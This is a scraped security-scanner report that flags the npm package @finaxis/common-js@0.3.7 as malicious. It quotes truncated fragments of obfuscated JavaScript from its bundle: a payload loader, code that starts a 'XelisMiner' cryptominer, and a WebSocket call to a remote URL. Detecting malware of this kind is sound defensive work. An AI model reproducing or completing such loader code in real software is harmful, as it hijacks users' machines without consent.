@finaxis/common-js@0.3.7: Malicious npm security report (Block)

Loading npm security reports…

Source & flagged code

5 flagged

dist/common-js.jsView file

1function a0_0x34c6(_0x333b78,_0x1a4af8){_0x333b78=_0x333b78-(0x1*0x7eb+-0x22df+0x1*0x1c57);const _0x175638=a0_0x52d4();let _0x3bb831=_0x175638[_0x333b78];if(a0_0x34c6['WFdMby']===u...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/common-js.jsView on unpkg · L1

1var _0xa10fde=new _0x3e3aca(_0x235285);_0x3e3aca[_0x2bc61d(0x2d39,'9Mnw')]=_0xa10fde,_0xa10fde[_0x2bc61d(0x2b4c,'jV9u')+'t']()[_0x2bc61d(0x3b09,'62ZM')+'h'](function(_0x551070){const _0x3620bf=_0x2bc61d;console[_0x3620bf(0x15e6,'GEL%')+'r']('[XelisMiner]'

High

Ai Review Evidence

Obfuscated browser bundle instantiates and starts `XelisMiner` at runtime.

dist/common-js.jsView on unpkg · L1

1new Promise((_0x60548d,_0x159083)=>{const _0x39cea7=_0x236e7d,_0x346039=new WebSocket(this[_0x39cea7(0x54f,'DZNb')]);this['ws']=_0x346039;

High

Ai Review Evidence

Bundle opens a WebSocket and fetches a configurable remote URL.

dist/common-js.jsView on unpkg · L1

Source & flagged code

5 flagged · loading source

dist/common-js.jsView file

1function a0_0x34c6(_0x333b78,_0x1a4af8){_0x333b78=_0x333b78-(0x1*0x7eb+-0x22df+0x1*0x1c57);const _0x175638=a0_0x52d4();let _0x3bb831=_0x175638[_0x333b78];if(a0_0x34c6['WFdMby']===u...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/common-js.jsView on unpkg · L1

High

Ai Review Evidence

Obfuscated browser bundle instantiates and starts `XelisMiner` at runtime.

dist/common-js.jsView on unpkg · L1

1new Promise((_0x60548d,_0x159083)=>{const _0x39cea7=_0x236e7d,_0x346039=new WebSocket(this[_0x39cea7(0x54f,'DZNb')]);this['ws']=_0x346039;

High

Ai Review Evidence

Bundle opens a WebSocket and fetches a configurable remote URL.

dist/common-js.jsView on unpkg · L1

@finaxis/common-js@0.3.7: Malicious npm security report (Block) | LPM Firewall

@finaxis/common-js@0.3.7

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Behavioral surface

Source & flagged code